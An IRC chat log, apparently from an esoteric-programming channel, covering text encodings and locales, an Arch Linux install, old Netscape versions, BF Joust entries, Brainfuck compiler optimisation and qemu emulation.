GregorR-L: some countries have lists of legal names to give children 19:31:46 although the UK doesn't, nor does the US as far as I know 19:31:53 * pikhq uses psuedo-dead keys instead of proper compose keys 19:31:56 "He has proposed that a one-way trip to Mars could be a viable option." 19:31:58 Of course the US doesn't, otherwise nobody would be named Shaniqua 19:32:09 ais523: This is the land of people named "Gonnorhea". 19:32:15 norway used to have such a list, but i think it was abolished 19:32:30 There is neither a list of valid names *nor* any sense in choosing names. 19:32:38 However, I'd bet that far, far more people are named Zoe, as the parents don't know how to write a diacritical mark any more than anyone else :P 19:32:50 And I'm pretty sure that there is nothing requiring your name to even use English phonemes. 19:33:05 also, nowadays there's a big advantage to pure-ASCII names 19:33:10 pikhq: Tell that to the artist formerly known as the artist formerly known as Prince. 19:33:16 it's probably still illegal to give a child a name that "can be a burden to them", though 19:33:22 Sweden used to have such a list at least. Not sure if it still does. 19:33:25 which is that many websites you might have to use don't know how to handle encodings properly 19:33:30 GregorR-L: Unicode should have the Prince symbol 19:33:38 GregorR-L: I suspect it has to be representable in Latin. 19:33:43 after all, it DOES have a valid use: entering albums under that name into a music player 19:33:51 Erm. The Latin alphabet... 19:33:57 Including diaretics. 19:34:01 actually, even on paper forms, sticking to ASCII is helpful because the values are likely to be written into computers eventually, by people who don't know what they're doing 19:34:05 This is my sun, Cogitoergosum. 19:34:07 um 19:34:09 Diactrics, even. 19:34:10 pikhq: *diacritics? 19:34:11 your sun 19:34:13 Errr, son X_X 19:34:21 ais523, if Zoë is valid... is that same as Zo-e ?? 19:34:28 AnMaster: pronunciation-wise, yes 19:34:38 How about Zoiee 19:34:43 Or Zohee 19:34:47 Or Zowey 19:34:53 GregorR-L: Zoee would probably be the nearest representation without the accent 19:34:57 ais523, cïntercal? 19:35:02 but people just memorise how words are meant to be pronounced 19:35:07 avoid dianetics in your latin alphabet 19:35:08 AnMaster: invalid, C isn't a vowel 19:35:10 GregorR-L: ASCII representation of the Artist's symbol: O(+> 19:35:16 Except that Zoe is pronounced like Zo :P 19:35:16 (says someone anonymous) 19:35:16 ais523, oh it needs that, ok 19:35:39 AnMaster: although hyphens are sometimes used to replace diaereses, not all hyphens are used for that purpose 19:35:41 more words need to have a place to use a ¨ in, in English 19:35:48 ais523, mhm 19:35:58 GregorR-L: yes, people memorise the correct pronounciations of words, nowadays, rather than memorising the correct spelling 19:36:01 Why the *hell* do the umlauts show up when GregorR-L types it, but not for someone else typing it? 19:36:07 ais523: That's because this is English :P 19:36:10 Someone else familiar with urxvt care to enlighten? 19:36:10 I AM GOING TO REBOOT AND REINSTALL ARCH ! !!!! 19:36:13 GregorR-L: yep 19:36:24 pikhq, are you using UTF-8? 19:36:27 pikhq: I wonder if GregorR-L is using Latin-1? 19:36:29 because I'm sending in UTF-8 19:36:39 and my client does auto detection 19:36:39 AnMaster: Nominally. 19:36:42 Mine may be Latin-1, I haven't configured it on this laptop. 19:36:46 so it handles Latin-1 19:36:48 This line is written in Latin-1: premptive 19:36:56 ais523, how did you pull that off 19:36:58 Okay. 19:37:03 This line is written in UTF-8: preëmptive 19:37:09 AnMaster: I have an encoding setting in my IRC client 19:37:10 -!- sebbu has quit (Read error: 60 (Operation timed out)). 19:37:11 So why the crap does rxvt-unicode only handle Latin-1? 19:37:12 ais523, my client converts input too 19:37:18 *rxvt-unicode*! 19:37:19 ais523, ah, switching it, right 19:37:27 pikhq, check locale 19:37:31 I /typed/ both in Unicode, but one of them I told my client to send in Latin-1 in 19:37:33 -!- sebbu has joined. 19:37:37 ais523, ah 19:38:00 ... Why the crap is LC_ALL=C? 19:38:15 For speed 19:38:25 Because if English was good enough for Jesus, it's good enough for pikhq? 19:38:29 I've made a point of making this en_US.UTF-8. 19:39:13 Apparently there's a genus of amoeba that can be as large as 5mm long. 19:39:36 I wonder if an amoeba farmer could use artificial selection to get amoeba that are 1cm long :P 19:39:49 ... And inexplicably, my system doesn't have the en_US.UTF-8 locale. 19:39:51 Wrangle me up some megaamoeba. 19:41:07 Nobody likes my huge-amoeba idea? 19:41:12 You could feed them mice. 19:41:49 Now, any idea where to go for a system-wide locale setting in Gentoo? 19:42:41 * ehird rages 19:42:49 the iso downloaded md5 != the right one 19:42:52 kekkekekkekekekekekeke 19:42:58 pikhq: /etc/env.d/something 19:43:05 how big are amoebas anyway 19:43:11 apart from "tiny" 19:43:17 *amoebae 19:43:35 <= 1 mm 19:43:55 i wanta pet amoeba 19:44:01 Deewiant: Lemme guess: not obvious. 19:44:09 I think the biggest is 1 mm or so 19:44:18 18:39 GregorR-L: Apparently there's a genus of amoeba that can be as large as 5mm long. 19:44:30 pikhq: The 'something' bit? Not necessarily, I can't remember 19:44:52 pikhq: /etc/profile? 19:44:53 lifthrasiir, there? What are the members "value" and "target" for the Cond class in Esotope-BFC? 19:45:07 pikhq: http://www.gentoo.org/doc/en/guide-localization.xml sez /etc/env.d/02locale 19:45:16 Now, any idea where to go for a system-wide locale setting in Gentoo? 19:45:17 hm 19:45:27 pikhq, well.. what about the /etc/locale.gen thing 19:45:37 Most amoeba are microscopic, in the 10-20um size 19:45:43 pikhq, to make sure the locales are generated at all 19:45:48 But Chaos (an awesome name for a genus) are as big as 5mm. 19:46:04 why are gentoo docs .xml? they're html 4.01 transitional 19:46:14 AnMaster: I just checked that to make sure it's set right, and have gone ahead and edited 02locale. 19:46:14 ehird, they are auto translated on server iirc 19:46:22 (And, technically, are amoebazoa, not amoeba, but anyway :P ) 19:46:25 ehird: is it valid XML as well? 19:46:26 AnMaster: yes but the file you get just isn't XML in any form :P 19:46:30 ais523: dunno 19:46:34 nope 19:46:35 it would be very funny if it was valid HTML, and valid XML, but not valid XHTML 19:46:36 ehird: Crappy autogeneration. 19:46:36 ais523: it has
19:46:56 well, I hope at least that it's valid SGML 19:47:05 Seems to be well-formed XML. 19:47:23 ehird, you can add ?style=printable 19:47:25 and hmn 19:47:26 hm* 19:47:29 * AnMaster looks 19:47:36 pikhq: no 19:47:36
19:47:45 ehird: Fuck. 19:47:47 Hmm. 19:47:50 plus, the doctype doesn't point to a sgml doctype 19:47:57 I bet the file is stored on the server as XML, then. 19:48:10 Yeah. 19:48:11 yeah.. I said that above 19:48:11 er 19:48:14 it points to an sgml doctype 19:48:16 not an xml one 19:48:22 ehird: http://www.w3.org/TR/html4/loose.dtd is an SGML doctype. 19:48:27 19:48 ehird: it points to an sgml doctype 19:48:28 19:48 ehird: not an xml one 19:48:33 Yuh. 19:49:38 ais523: it has
19:49:55 But it also has
, making it invalid HTML and XHTML, and valid XML :P 19:50:08 91228e6b71d74e7a52269f1aaf225a6d archlinux-2009.02-ftp-x86_64.iso—mirrorservice.org 19:50:09 % md5sum archlinux-2009.02-ftp-x86_64.iso 19:50:10 ec8d390ce27fa5bc3125004ba3e7c2f0 archlinux-2009.02-ftp-x86_64.iso 19:50:18 AAAAAAAAAAAAAAAAAAAAAAAAA 19:50:19 AAAAAAAAAAAAAAAAAA 19:50:20 GregorR-L:
is valid XHTML in context. 19:50:24 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 19:50:29

is perfectly valid. 19:50:30 pikhq: it has content after
19:50:32 so nope 19:50:40 Awwww, lame :( 19:50:42 Well, it's well-formed XML. 19:50:44 :) 19:50:52 http://www.gentoo.org/doc/en/xml-guide.xml 19:50:57 that seems to be what it is about 19:51:45 Actually, it has some
tags that it doesn't close. 19:51:46 ehird: Just use it, who cares about the checksum 19:51:46 Mmmmm, bacon maple bar. 19:51:57 So, it's only valid SGML. 19:52:02 Deewiant: Are you being sarcastic? But I did. The crc failed on decompression while booting 19:52:19 ehird, try another mirror 19:52:21 I am. 19:52:42 ehird, if that is the minimal one, doesn't it take like 2-3 minutes to download it iirc 19:52:45 I wasn't; some errors might not matter, and the expected sum could be incorrect :-P 19:52:50 or maybe that is the gentoo minimal that does 19:53:09 ehird's modem is so slow it's described in baud. 19:53:18 AnMaster: its 153MB 19:53:21 so about 4 minutes 19:53:28 ehird, not a long wait 19:53:34 AnMaster: yes but I'm on to my third cd 19:53:36 I remember when I downloaded a 500 MB ISO on 512 kbps! 19:53:37 well, dvd 19:53:40 THAT was long 19:53:50 a long wait* 19:53:53 AnMaster: I remember when I downloaded a 30MB file on 56kbps. 19:54:03 I've downloaded several 600+MB files on 256kbps 19:54:04 It took all day. And since it was 56kbps, couldn't load anything else while I waited. 19:54:09 ehird, I never did. Since it was pay per time. 19:54:22 In those days, if a file was >1MB I canceled it immediately. 19:54:23 ehird, you could load other stuff, it would just be very slow 19:54:27 I remember when I downloaded a 3TB file on a 2880 baud modem! 19:54:27 I just couldn't download it fast enough. 19:54:33 That took FIFTY YEARS. 19:54:36 AnMaster: Too slow for usabiilty. 19:54:38 *usability 19:54:39 UP HILL IN THE SNOW BOTH WAYS 19:54:40 ehird, true 19:54:53 GregorR-L: Shaddup. 19:54:56 GregorR-L: I remember downloading every internet of every infinite planet via TCP/IP over carrier pigeon over space rocket. 19:55:06 You know as well as I do that that was 3TBs of 0s, and it was RLE'd. 19:55:06 IT TOOK INFINITY TO THE POWER OF INFINITY YEARS 19:55:28 yay 19:55:29 another mirror works 19:55:40 ehird, report the broken mirror? 19:55:42 GregorR-L: Also... Have you though of making a Javascript LLVM backend? 19:55:48 Thought, even. 19:55:51 OOOOOOOOOOOOOOOOH 19:55:51 AnMaster: It's mirrorservice.org, quite a big thing 19:55:54 Maybe they'll notice themselves. 19:55:58 pikhq: Meh. 19:56:03 Not as fun as emulating CPUs. 19:56:03 ehird, all users think that 19:56:07 so no one will 19:56:12 AnMaster: So everyone will have to use another mirror 19:56:14 Fine by me 19:56:17 It'll fix next release, I assume 19:56:17 I think the biggest file I downloaded on 56kbps was around 60-70 MB 19:56:18 Technically, he could just make LLVM target MIPS and do that. 19:56:19 :) 19:56:44 It would presumably be more efficient to compile directly. 19:56:55 And my MIPS-JS AOT compiler is stalled :P 19:57:13 lol efficiency 19:57:14 whatever was the size of netscape 3 was the largest file I downloaded on 28.8k 19:57:15 :P 19:58:05 http://www.theweek.com/article/index/96719/Dick_Cheney_2012 ← No. NO. NO, NO AND MORE FUCKING NOS FOREVER UNTIL YOU RUN OUT OF THE INFINITE SUPPLY OF NOS. AND THEN AGAIN! AND THEN, FINALLY, ONE MORE NO! 19:58:10 Probably less than 10 MB 19:59:14 Don't worry, Cheney'll be dead by then :P 19:59:52 Wow, my drive is whirring. 19:59:55 WHIRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR 20:00:03 *crack* 20:00:07 *boing* 20:00:17 *ka-THUNK* 20:00:23 *boom* 20:00:31 MOTOR-FUCKING-CYCLE TIME, WHIRRRRRRRRRRRRRR I'M GOING TO ARCH UP THE POODLES 20:00:33 FUCKIN' A POODLES 20:00:35 20:00:44 -!- bsmntbombdood has joined. 20:00:48 !bfjoust ais523_defend0 +*9999 20:00:49 Score for ais523_defend0: -10 (maximum 10) 20:02:18 wow, according to report.txt, defend0 drew with every single program in there at the moment 20:02:22 which is slightly surprising 20:02:27 GregorR-L: Something else nice would be being able to compile Java to LLVM and then run Java in a browser via Javascript. 20:02:29 Probably less than 10 MB <-- took all day 20:02:34 !bfjoust ais523_defend0_1 .+*9999 20:02:35 Score for ais523_defend0_1: -11 (maximum 11) 20:03:01 AnMaster: Googling suggests it's between 3 and 6 MB depending on the precise version 20:03:10 Deewiant, For Mac 20:03:30 another drew-with-everything 20:03:37 oh, duh 20:03:39 -!- ehird_ has joined. 20:03:40 invalid syntax 20:03:41 AnMaster: PowerPC or 68K 20:03:44 every program's ending with an error 20:03:46 Deewiant, PowerPC 20:03:47 good MORNING america I'm feeling FABULOUS 20:03:50 !bfjoust ais523_defend0 (+)*9999 20:03:58 and HOW\\ 20:03:59 !bfjoust ais523_defend1 .(+)*9999 20:04:07 because AMERICA, AMERICA!3487 only the thing 20:04:10 Score for ais523_defend0: -5 (maximum 11) 20:04:20 you, see, you see, you not see? okay. 20:04:22 Score for ais523_defend1: -6 (maximum 12) 20:04:45 And so, the sage said: ,,Perl!'' 20:05:01 ehird_: you're not making a whole lot of sense 20:05:01 Deewiant, might have been 68k running in some sort of backward compat mode, not sure if those old macs had that 20:05:08 they might have 20:05:09 AnMaster: around 5 MB then 20:05:16 Deewiant, hm I think I downloaded Netscape 4.something too on that... Again for Mac, PPC. 20:05:19 (4.89 MB for the .hqx) 20:05:19 "5MB" the colon 20:05:36 ha hah 20:05:42 Deewiant, switched to 56k soon after that 20:05:56 AnMaster: what were you using before 56k 20:06:08 ehird_: 28.8k. 20:06:16 yeah well I used 1b 20:06:21 it was so fast 20:06:22 1 baud? 20:06:29 1 byte 20:06:33 AnMaster: Netscape 4 is already 10 MB and up. 20:06:34 kile 56 kilobytes 20:06:38 *like 20:06:42 22.5 MB for 4.79. 20:06:43 Deewiant, ah 20:06:44 !bfjoust ais523_defend0_1 .(+)*9999 20:06:46 I believe that a good Morse keyer would have similar speed. 20:06:49 Deewiant, 4.5? 20:06:53 oerjan: i tried it with 256 bit numbers too 20:06:53 if that existed 20:06:56 Score for ais523_defend0_1: -6 (maximum 12) 20:06:57 (Netscape 8.01 is 13.2 MB) 20:06:57 yeah pikhq it was powered by a morse keyerer 20:07:00 didn't get much more accuracy 20:07:03 it was so awsum 20:07:03 (9.0.0.6 is 5.9 MB) 20:07:13 Deewiant, wait. this is going in the wrong direction... 20:07:25 !bfjoust ais523_defend1 [>+[]<(.)*258(+)*127] 20:07:27 Deewiant: 9 is based on mozilla isn't it? 6MB for a mozilla browser? how novel 20:07:39 AnMaster: Netscape 4 was quite crap, you know :-P 20:07:53 ehird: i put the side on this case and the gpu temp went up to like 75 20:07:56 ehird_: Netscape since 4.0 was rebranded Mozilla. 20:08:02 Deewiant, yeah I know 20:08:03 the heatsink was burning hot 20:08:03 bsmntbombdood: that's fine 20:08:09 Score for ais523_defend1: -6 (maximum 12) 20:08:11 GPUs run up to like 85C 20:08:17 Deewiant, all netscape after 3 was 20:08:23 bsmntbombdood: or was this at idle? 20:08:29 AnMaster: 4.5 for PPC is 13.6 MB 20:08:29 9 was based on Firefox, 6, 7, and 8 were based on the suite. 20:08:38 Deewiant, heh 20:08:39 ehird: idle 20:08:48 Netscape 6 was alright IIRC 20:08:53 AnMaster: 4, you mean. Mozilla got the Netscape 4 source and rewrote the whole thing. 20:09:02 Netscape 6 was Mozilla 1.0. 20:09:05 someone gimme a hostname for this arch installation 20:09:06 Good times. 20:09:20 pikhq, ? 20:09:20 bsmntbombdood: ouch. 20:09:22 ehird_: Roll a dice. 20:09:23 ehird_: 'crc-error' 20:09:29 I said... *AFTER* 3 20:09:30 bsmntbombdood - just put a fan on that thing 20:09:34 3 was the last good one 20:09:39 AnMaster: And you're wrong. 20:09:45 Deewiant - brilliant. crcerror, though, no - 20:09:46 for quite some time 20:09:51 AnMaster: After *4*. 20:09:56 pikhq, 4 was bad 20:10:00 pikhq: Right you are, that'd explain why it was good. 20:10:04 Netscape Communicator 4 was bad 20:10:08 ever used it? 20:10:17 ehird_: Some phrase from the CRC error you got, then 20:10:20 I'm forced to assume you didn't 20:10:20 The Mozilla project was created when Netscape dumped the Netscape 4.5 source. 20:10:30 wohoo, I wrote a program that attack5 doesn't beat 20:10:33 Deewiant - there was none. pikhq - IE5 was betetr than NS4 20:10:34 pikhq, yes, and they rewrote it 20:10:34 ehird_: "not-91228e6b71d74e7a52269f1aaf225a6d' also 20:10:37 AnMaster: Yes, but that doesn't change that Netscape 4 was not based on Mozilla. 20:10:43 large parts of it 20:10:57 AnMaster: Mozilla didn't exist until Netscape 4 was well and done. 20:11:03 Although I guess that kind of goes against the whole point of hostnames by making it a long & hard to remember number 20:11:08 pikhq, I can't figure out if you are agreeing or disagreeing with me... 20:11:12 Mozilla was created instead of Netscape 5. 20:11:15 Mozilla was the name of Netscape's open-source-NS4 project, AnMaster. 20:11:19 IE* was better than NS4. 20:11:19 AnMaster: I'm saying you're being dumb. 20:11:23 No "basing on" - direct descendant. 20:11:28 ehird_, I know what Mozilla is 20:11:35 Deewiant, agreed 20:11:47 AnMaster: And you still said NS4 was based on Mozilla, when it's the other way around. 20:11:54 pikhq, I didn't 20:12:02 pikhq, it was you who talked about Mozilla 20:12:02 not me 20:12:15 AnMaster: Oh. 20:12:31 I completely misunderstood you when you said "all netscape after 3 was". 20:12:35 Yes, NS4 was crap. 20:12:38 -!- ehird_ has quit (Read error: 104 (Connection reset by peer)). 20:12:55 pikhq, tried NS6 too, was a memory whore, and buggy 20:12:58 NS6 through 9 were taking Mozilla's latest and making it into crap. 20:13:23 That's because NS6 was based on a Mozilla RC or a beta... 20:13:28 1.0 RC, I think it was? 20:13:43 iirc I tried NS9 too, never think I used NS8 20:13:45 And nobody in their right minds would use Mozilla 1.0. 20:13:48 and NS9 was just as bad 20:13:56 NS9 was based on a pre-1.0 Firefox. 20:14:06 pikhq, what was NS8 then 20:14:22 I used Mozilla 1.0 for a brief period. 20:14:35 * pikhq looks it up 20:14:51 I think I was using IE6 when I switched to Phoenix 0.4. 20:15:05 Ah, NS8 was based on pre-1.0 Firefox. NS9 was pre-2.0 Firefox. 20:15:41 Netscape had this odd tendency to use browser versions before the stable release. 20:18:43 Pre-2.0 was stable, unless you mean it was a 2.0 RC? 20:19:10 RC. 20:19:28 Deewiant: btw by no - i meant crcerror not crc-error 20:19:31 not "not crc-error" 20:19:44 And NS9 didn't last very long. 20:19:48 but grr 20:19:50 am annoyed 20:19:53 it installed fine 20:19:56 but efi doesn't realise its bootable 20:20:12 i installed grub onto the partition i installed arch on to 20:23:10 ooh I got esotope to traceback 20:23:16 on one of my test programs for in-betwee 20:23:18 between* 20:23:47 +>+>+<<[>]>> ,[ >[-]+ [++>--<]< ,] ,[ >[-]++ [++>--<]< ,] ,[ >[-]++ [+++>--<]< ,] 20:23:49 to be specific 20:24:05 "traceback"? 20:24:11 Traceback (most recent call last): 20:24:11 File "./esotope-bfc", line 74, in 20:24:11 sys.exit(main(sys.argv)) 20:24:13 "segfault" in a Python context 20:24:13 and so on 20:24:14 I guess 20:24:16 yeah 20:24:17 Deewiant: ah, ok 20:24:22 TypeError: object of type 'CGenerator' has no len() 20:24:39 Dynamic typing ruins the day yet again 20:24:39 too messy and undercommented code to have any idea what caused that 20:25:09 Deewiant, erlang has dynamic typing. But it has a tool to verify static contracts. Optionally. 20:25:23 and it can also find some of those bugs without static contracts 20:25:27 * ehird installs rEFIt, puts grub on the global mbr, runs rEFIt's gptsync 20:25:33 dialyzer is the name of the tool 20:25:37 ehird: gptsync? 20:25:42 ais523: syncs gpt/mbr 20:25:50 gpt = GUID partition table 20:26:07 does something called "successive typing", I have no idea how it works. 20:26:25 these disks are fucking loud 20:26:40 bye 20:26:42 bsmntbombdood, are you on linux? there may be help if so 20:26:49 yes 20:26:51 bsmntbombdood: which disks 20:26:52 cd or hd 20:26:57 this old hd 20:26:59 or fd 20:27:01 -!- MizardX has quit ("What are you sinking about?"). 20:27:03 bsmntbombdood: use the new one? 20:27:03 i am copying shit off it 20:27:05 bsmntbombdood, man hdparm 20:27:06 oh 20:27:15 search for "Automatic Acoustic Management" 20:27:16 bye→ 20:27:33 space messed up by man there 20:27:39 wonder why man sometimes add two spaces 20:29:42 um 20:30:03 in python, if I do print foo, where foo is a variable. And I get {2} back. What type is that... 20:30:07 set? 20:30:12 I forgot 20:30:16 ...dictionary 20:30:21 wait what? 20:30:25 bsmntbombdood, isn't that { key : value } ? 20:30:32 i haven't use python since 2.4 20:30:32 or something like that 20:30:36 a = {2} 20:30:36 ^ 20:30:36 SyntaxError: invalid syntax 20:30:43 that's a syntax error afaik 20:30:53 why don't you print type(foo)? 20:31:01 bsmntbombdood, ah good pont 20:31:13 20:31:15 aha 20:31:24 that overwides repr stuff yeah 20:43:04 -!- MizardX has joined. 20:47:39 -!- M0ny has quit ("reboot"). 20:52:08 -!- M0ny has joined. 20:56:35 -!- nooga has quit (Client Quit). 21:09:52 meh, too many abstractions, too little documentation, I can't make any sense out of the code 21:11:22 Too many abstractions? No such thing. 21:11:41 * pikhq abstracts away the computer into a butler. 21:11:58 pikhq, there is nothing anywhere indicating what a block of BF code devided by an integer does. 21:12:04 no comments 21:12:11 well one: "# This is a part of Esotope Brainfuck-to-C Compiler." 21:12:13 that is all 21:12:37 * pikhq abstracts away AnMaster 21:13:47 Brainfuck to C isn't that hard 21:13:59 nice regex for that 21:14:11 Gracenotes, optimising compiler duh 21:14:17 Gracenotes, very optimising 21:14:18 lol. 21:14:40 Gracenotes, it constant folds the hello world program on the wiki into PUTS("Hello, World!") 21:15:31 how well does it optimize [loops]? 21:15:41 Gracenotes, that program uses loops 21:15:45 ... 21:15:46 Gracenotes, it does similar crazy shit to LostKingdom. 21:16:29 pikhq, lostkingdom is easy to optimise. Eliminating dead code is the most important bit for LK 21:16:43 apart from basic sorting and offset and such 21:16:57 AnMaster: It still does some crazy stuff to it. 21:18:38 heh, AnMaster can't even compile the output of his compiler 21:18:54 bsmntbombdood, well nor can I compile the stuff esotope outputs for lostking 21:19:14 maybe I should try with clang 21:19:21 since gcc is very inefficient 21:19:39 also I already do better than esotope for some stuff 21:21:22 from esotope: p[8] += 3; PUTC(p[8]); p[8] -= 7; PUTC(p[8]); I output that like p[8]-=4; oc(p[8]+7) oc(p[8]); 21:21:38 for lostking this allows quite a bit of folding adds 21:21:50 even sometimes leading to being able to figure out the constant value for it 21:23:03 http://www.data.gov/ 21:25:35 -!- KingOfKarlsruhe has quit (Remote closed the connection). 21:26:49 AnMaster: Can either of these compilers optimize multiplication algorithms to direct multiplications 21:27:10 Or similar; other primitives than +- 21:27:11 Deewiant, mine can't currently, but I'm working on doing that right atm! 21:27:17 esotope can? 21:27:19 if you mean like that in bf text gen 21:27:21 Deewiant, not sure 21:27:29 !bf_txtgen hello world 21:27:31 102 ++++++++[>++++>+++++++++++++>+><<<<-]>>.---.+++++++..+++.<.>++++++++.--------.+++.------.--------.>++. [287] 21:27:39 [>++++>+++++++++++++>+><<<<-] <-- if you mean like that 21:27:46 I can't read brainfuck at all :-P 21:27:56 But if that does a multiplication, then yes ;-) 21:27:57 Deewiant, then what algos did you mean 21:28:23 Whatever is used to do multiplication in brainfuck; if that's it, then that 21:28:47 Deewiant: ... 21:28:56 Deewiant: That's just a few constants. 21:29:17 pikhq, ,[>++<-] multiplies by two 21:29:31 AnMaster: Well, yes. 21:29:34 destructive multiplication 21:29:56 pikhq, the fact that it multiplies by a constant is, overall, irrelevant! 21:30:11 it just means it can constant fold the multiplication later 21:30:41 ,[>++<-]. should become putc(getchar() << 1) 21:30:43 -!- sebbu has quit (Connection timed out). 21:30:56 or earlier, since previous passes will already have transformed the loop in ++++++++[>++++>+++++++++++++>+><<<<-] to a "repeat 8 times" 21:31:10 -!- Gracenotes_ has joined. 21:34:44 -!- Gracenotes has quit (Nick collision from services.). 21:34:58 -!- Gracenotes_ has changed nick to Gracenotes. 21:35:29 -!- comex has joined. 21:35:55 so 21:36:32 I want to "partially emulate" a binary 21:36:53 run some parts of the code in emulation, but others on the actual cpu 21:37:04 IIRC qemu does something like that 21:37:14 I tried using softx86 but it appears to suck 21:37:17 dosemu 21:37:20 That's qemu. 21:37:31 It is? 21:37:36 Deewiant: DOSemu only emulates peripherals. 21:37:44 Oh, I didn't know that 21:38:00 On x86_32, it executes the DOS code using virtual x86 mode. 21:38:15 well, I just want it to use real (user mode) memory and stuff 21:38:19 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 21:38:23 comex: Qemu. 21:39:05 pikhq: how do I use qemu to run parts of the code on the actual cpu 21:39:13 It just does. 21:39:18 wat 21:39:31 don't you need kqemu installed for that? 21:39:38 yeah... 21:39:42 but if you have it installed, and run qemu as root, it does automatically 21:39:44 ais523: kqemu lets you run kernel mode code on the actual CPU. 21:39:44 does that work for user-mod eemulation? 21:40:07 I don't know, I'd imagine that would either work even without kqemu, or fail in both cases 21:40:11 wth 21:40:17 Without kqemu, it only can run user-space code. 21:40:20 ** exception error: no function clause matching io_lib:string_char(latin1,356,34,"!\"") 21:40:28 * AnMaster tries to figure out what on earth that means 21:40:43 cool 21:41:08 That's, and dynamic recompiling, is why qemu is faster than Bochs. ;) 21:41:12 it's not an exception 21:41:15 but an exception error 21:41:19 too bad I get errors like 21:41:20 impressive 21:41:21 qemu: Unsupported syscall: 240 21:41:23 and skype doesn't run 21:41:31 ... 21:41:32 :/ 21:41:33 (probably because it's doing something weird on purpose, but nevertheless) 21:42:04 Gracenotes, it is a class of exception in erlang 21:42:38 but I don't even want it to emulate system calls 21:42:43 just pass through for 99% of code 21:42:56 It's supposed to pass through the system calls. 21:42:57 Weird. 21:43:07 the plan was to mprotect the 1% of code, then use a SIGSEGV handler to emulate it 21:44:54 Gracenotes, there are three classes: 'error' (run-time errors, like division by zero, bad match and similar), 'exit' (when a process calls exit(Term)), 'throw' from when you just do throw(Term) 21:45:09 I'm not sure why the difference between the last two is useful 21:46:31 but yeah, softx86 doesn't seem to do protected mode 21:59:09 ah found it, there are reasons for the difference, related to linked processes in erlang, and supervising processes. 21:59:42 too related to the details of Erlang and OTP to explain to a non-erlang programmer 22:02:50 comex: wtf are you doing 22:07:36 data.gov is hot 22:08:31 12:27:33 space messed up by man there 22:08:31 12:27:39 wonder why man sometimes add two spaces 22:08:32 justification 22:08:40 ehird, ah, makes sense 22:08:58 a bit silly to do justified margins with a mono-space terminal 22:09:02 yeah 22:09:04 but meh, can't have everything 22:09:22 hm... idea: mixed formatting terminal 22:09:28 like a normal terminal most of the time 22:09:49 but with control codes that can change it to use different fonts in a section and such 22:09:57 non-mono-space 22:10:02 and possibly graphics too 22:10:06 not sure if it has been done 22:10:12 framebuffer 22:10:20 ehird, yes, but not under X 22:10:27 you could emulate a fb in x 22:10:30 *an 22:10:36 *a 22:10:42 *fffffff 22:10:46 ehird, and usually if you exit the app that uses the framebuffer all the stuff from it is gone from scrollback 22:10:59 ehird, which wouldn't happen with my idea 22:11:09 rather you could scroll back to that 22:11:26 AnMaster: plan9 graphics system 22:11:57 ehird, hm need to use it more 22:12:14 [[‘We did not know that child abuse was a crime,’ says retired Catholic archbishop. ]] 22:12:32 AnMaster: mm 22:12:33 *blink* 22:12:44 AnMaster: [[We all considered sexual abuse of minors as a moral evil, but had no understanding of its criminal nature. ]] 22:12:49 is the actual quote 22:12:58 ehird, where is it from 22:13:02 http://freethinker.co.uk/2009/05/21/‘we-did-not-know-that-child-abuse-was-a-crime’-says-retired-catholic-archbishop/ 22:13:28 Nice :-D 22:13:35 Bit detached from reality ther 22:13:35 e 22:13:42 Some what 22:13:51 Deewiant: Wut 22:14:02 ehird: Somewut 22:14:13 :D 22:14:15 Deewiant: Oh you mean somewhat 22:14:19 IT'S NOT TWO WORDS <__< 22:14:32 ehird: "What" isn't "wut" either 22:14:35 True. 22:14:45 I was using the space as emphasis, actually 22:14:56 As the flipside of that, here is the title of the post right below it: 22:14:57 [[My school blocks www.atheist.net and categorizes it as adult language, is this a suppression of alternate beliefs?]] 22:14:58 Like a pause between "some" and "what" 22:14:59 YES IT IS 22:15:03 THEY ARE TRYING TO SUPPRESS YOU 22:15:08 IT IS NOT AN ERROR IN THE CONTENT FILTER AT ALL 22:15:20 REBEL! REBEL! FLYING SPAGHETTI MONSTER LOLOLOLOLOL 22:22:46 ehird, 22:22:48 int main(void) { 22:22:48 os("Hello World!"); 22:22:48 p[0]=100; 22:22:48 p[2]=33; 22:22:48 p[4]=87; 22:22:49 p+=2; 22:22:51 return 0; 22:22:53 } 22:22:55 in-between, working tree 22:22:58 now remove the tape accesses 22:23:17 -!- nooga has joined. 22:23:18 ehird, need to fix "crash due to outputting a char with the value of 823" first. 22:23:19 :P 22:23:45 which is [ X rem 256 || X <- Str ] 22:24:08 * AnMaster loves list comprehensions 22:24:32 ehird, and yes DCE from end is planned. Part of the code needed for it is already in place. 22:24:44 FFFFFFFFFUUUUUUUU 22:24:55 ehird, are you on Arch or OS X now? 22:25:11 AnMaster: os x, arch only booted via the grub console on the livecd and x didn't work first time 22:25:16 GG (polish IM) servers are dead 22:25:19 then I spilled some coke and decided to give up 22:25:27 ehird, uh. ok 22:25:34 ehird, you aren't persistent enough IMP 22:25:35 nooga: Gadu-Gadu's dead? 22:25:36 IMO* 22:25:42 AnMaster: i spent a good while on it fyi 22:25:43 yep 22:25:53 anmaster: what language is that 22:25:54 ehird, only because of wrong cd 22:25:57 everything, all servers are down 22:25:59 comex, erlang 22:26:00 AnMaster: nope 22:26:07 nooga: shut down or just glitch 22:26:57 nope, since 20:00 all of 40 servers are dead 22:27:04 shut down or just glitch 22:27:04 which 22:27:15 thing with erlang and bf compiling: Erlang only have bignums. Thus you need to manually correct values to be in range 22:27:19 a bit irritating 22:27:22 http://gg.thinkspire.org/ 22:27:29 AnMaster: *waves Haskell and its Int8 type in your face* 22:27:30 especially for negative ones 22:27:54 ehird, yeah sure, I'm not saying other languages doesn't have it 22:28:15 ehird, and if I wanted to be sadistic I could do all my calculations inside 8 bit binaries 22:28:29 but that is painful 22:28:32 err 22:28:45 the other way around 22:28:54 wut? 22:28:58 masochistic you mean 22:29:01 yeah 22:29:03 the other way around 22:29:36 it would look like: <> = <<(FirstValue + Second Value):8/integer-native>> 22:30:10 ehird, and why do you think I treat - as "add 255" not "substract 1" 22:30:11 :P 22:30:25 AnMaster: add -1, foo 22:30:44 ehird, when I see a - in the input I make a node {add, 255} 22:31:03 ehird, simplifies calculations 22:31:38 AnMaster: *waves Haskell and its Int8 type in your face* <-- shouldn't that be UInt8? 22:31:50 